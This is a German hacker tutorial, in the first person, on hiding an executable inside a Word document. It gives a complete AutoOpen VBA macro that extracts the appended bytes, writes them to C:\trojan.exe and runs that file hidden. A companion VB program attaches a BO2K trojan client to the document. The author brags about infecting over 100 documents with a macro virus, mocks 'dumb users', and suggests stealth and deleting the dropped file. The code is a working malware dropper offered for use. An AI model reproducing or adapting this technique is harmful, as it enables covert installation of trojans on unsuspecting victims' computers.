Fakiers Tutorial über: Schmugeln von Dateien in Word Dokumente (VB/VBA wissen vorrausgestzt) 1.Über VBA und VBS 2.Worum es geht 3.Jetzt gehts Rund 4.Ausklang 5.Grüße 1. Das ist nun mein 2tes Tut. Es ist wieder über Word Macros. Bäää; höre ich da jetzt einige sagen. Ich finde so ein Stuff auch larm, aber als ich meinen ersten Macro Virus geschrieben hatte und sah wie er schon über 100 Docs infiziert hatte, bekamm ich riesige Augen *grinz* Das sich ein Macrovirus verbreitet oder überhaupt überlebt liegt nur an der Dummheit des Users. Und es gibt anscheiend viele dumme User. Ausserdem ist es ein ganz neuer Weg, ASM oder Hll Viren gibts schon so viele, und die AVP sind gut. Aber gegen Macros und ähnliche Dinge grotten schlecht, deshalb ist es bestimmt nicht so schlimm wenn man VBA oder VBS Viren schreibt. Man darf nur nicht behaupten man sei der mega Coder oder Hacker schlecht hin !!!!! So, das ist mein Standpunkt. 2. So nun will ich auch mal erzählen worum es überhaupt geht. Es wird eine Datei (bei mir Bo2k) an ein Worddoc gehängt. Nun liest ein Macro beim Starten des Docs den Code wieder ein und schreibt ihn in eine Seperate Datei. Diese wird dann versteckt ausgeführt. Und als ich so überlegte viel mir auf, so kann man jede Datei an ein Doc ran hängen. Auch Viren !!. Es ist immernoch die Dummheit des Benutzers vorausgesetzt, aber bei Word97 ist meistens die Macro Abfrage eh schon weg. Früher hat man den Source des Dosviruses in den Macro gepackt und mit Debug Compiliert. Debug ist auf jedem Windows System, jedoch muss bei Debug der Code und die Daten in ein Segment. Das heisst (für alle die nicht ASM können) man kann nur COM Dateien Compilieren. Ich weiß nicht ob jemand anderes die Technic schon vor mir enzwickelt hat. Ich habe jedenfals nichts darüber gelesen. Die Technic ist bei mir noch ziemlich in der Anfangsphase. Sie funktioniert 100%tig aber es ist alles ein wenig wackelig. Deshalb würde ich mich über Verbessungsvorschläge und Tips sehr freuen. 3. Nun habe ich genug geredet, gehen wir an die Arbeit ! :-) Als erstes brauchen wir ein Prog was wir an das Doc anhängen. Am besten wäre ein selbst geschriebener Trojaner, aber wer hat den schon immer parat ? Ich nehme wie gesagt einen BO2K Klienten. Nun müssen wir erst unser Word Dokument schreiben. Wir erstellen ein neues Word Dokument und gehen in den Visual Basic Editor. Hier fügen wir nun eine neues Modul in das Doc ein. Die größen der Dateien (damit man den Source besser versteht) Das fertige Doc (Host Programm): 34816 BYTE Der BO2K Klient: 266240 Byte Der Source er wird aber noch Schrit für Schrit erklärt: --------------------------8< cut---------------------------------------- Sub AutoOpen() Dim tro() As Byte a = Application.ActiveDocument.Path b = Application.ActiveDocument.Name c = a + "\" + b Open c For Binary Access Read As #1 ReDim tro(266239) Get #1, 34817, tro Close #1 Open "C:\trojan.exe" For Binary Access Write As #1 Put #1, , tro Close #1 w = Shell("C:\trojan.exe", vbHide) End Sub --------------------------8< cut---------------------------------------- Sub AutoOpen() >Der Sub wird beim Öffen des Docs ausgeführt Dim tro() As Byte >Hier steht nachher das ausgelesene Prog drinne a = Application.ActiveDocument.Path b = Application.ActiveDocument.Name c = a + "\" + b >diese 3 Zeilen benötige ich um die Aktuelle Position des des Docs zu bekommen Open c For Binary Access Read As #1 >Das Doc wird geöffnet zum lesen ReDim tro(266239) >die Länge von der Variablen wird festgelegt. Sie entspricht der Dateigröße meines >Bio2k -1 Bytes ;Sonnst habe ich immer ein Byte zu viel an der Kopie. Get #1, 34817, tro >hier wird ab byte 34817 in den Word Doc eingelesen und in die Variable >tro verfrachtet >34817 entspricht der Doc größe +1 Byte; sonnst wird es nicht angehängt. >man muss erst den Source schreiben, dann speichern, und dann sehen wie groß das Doc >ist. Dann das 1 Byte nicht vergessen. Auf Deutsch: erst den Source, dann die "Adressen" Close #1 >Datei schliesen Open "C:\trojan.exe" For Binary Access Write As #1 >Hier wird die Seperate Datei geöffnet. Put #1, , tro >Nun wird die gasammte Variable tro, in die wir zuvor das Programm eingelesen haben >in die Datei geschreiben. Close #1 >Datei Schliesen w = Shell("C:\trojan.exe", vbHide) >Nun noch die Datei Ausführen und alles ist Vorbei. End Sub Das ist nur das nötigste. Natürlich kann ich noch Befehle wie "On Error Resume Next" oder Stealth einbauen. Und was ich auf jeden fall machen würde ist die Seperate Datei am Ende zu löschen !!! Ich brauchte das hier nicht, weil ich bei meinem BO2K eingestellt habe das er sich selbst löscht. Sollte das bei anderen Programmen nicht der Fall sein, dann auf jeden Fall Kill "C:\Trojan.exe" verwenden. Ich hoffe das soweit alles verstanden wurde. Nun ist der Host soweit fertig. Nun muss nur noch der Bo2K noch ans Ende des Docs herangeklebt werden. Das könnte man bei kleinen Programmen im Hexeditor machen, oder ein Prog schreiben. Da ich eh schon bei VBA war habe ich eins in VB geschrieben. Das Prog hat keine Ausschmückungen nur was muss das muss hier auch *g* Man muss es erst auf seine Bedürfnisse schneidern, aber so ist es bestimmt einfacher zu verstehen. Im Grunde benutzt es nur genau die selben Funktionen wie das Hostprogramm. Der Source: --------------------------8< cut---------------------------------------- Private Sub Command1_Click() Dim tro() As Byte Open "C:\Bo.exe" For Binary Access Read As #1 ReDim tro(266239) 'einen kleiner, damit die länge stimmt" Get #1, , tro Close #1 Open "C:\code.doc" For Binary Access Write As #1 Put #1, 34817, tro 'einen mehr, damit es angehängt wird !! Close #1 'Doc Filezise = 34816 'Bo Filezise = 266240 End Sub --------------------------8< cut---------------------------------------- Private Sub Command1_Click() >Beim Clicken auf den tolle Button Dim tro() As Byte >Genau wie beim Host, wird hier der Code eingelesen Open "C:\Bo.exe" For Binary Access Read As #1 >Der BO2K wird geöffnet um zu lesen ReDim tro(266239) 'einen kleiner, damit die länge stimmt" >Die größe vom BO2K - 1Byte ; sonnst hauts nicht so ganz hin Get #1, , tro >liest alles ein und speichert es in tro Close #1 >schliest die Datei Open "C:\code.doc" For Binary Access Write As #1 >Öffnet das vorbereitete Doc Put #1, 34817, tro 'einen mehr, damit es angehängt wird !! >Ab Byte 34817 soll er schreiben, das ist die Docgröße + 1 Byte Close #1 >Datei schliesen 'Doc Filezise = 34816 'Bo Filezise = 266240 End Sub So, das wars dann schon. Wenn wir alles richtig gemacht haben, dann können wir das Doc öffnen und wir werden gefragt ob wir Macros ausführen wollen. Natürlich wollen wir das :-) Und es sollte funktzionieren. 4. Wie gesagt, für Kretik bin ich immer offen, hin und wieder auch für negative *g* Und ich würde gerne wissen ob ich das hier als erster erfunden habe, oder wie das meist so ist, gibts immer jemanden vor einem. 5. Ich grüße: Nehlsen: Den crassen Coder SnakeByte: Den collen Virenschreiber tIgEr: Der selbst bei den blödesten fragen ganz loggär bleibt Buschmann: Denn besten Chef wo gibt jeden den ich vergesessen habe soll sich melden und jeder der lieber nicht erwähnt werden will auch. mailto: fakier@gmx.net || fakier@busch-hacker.de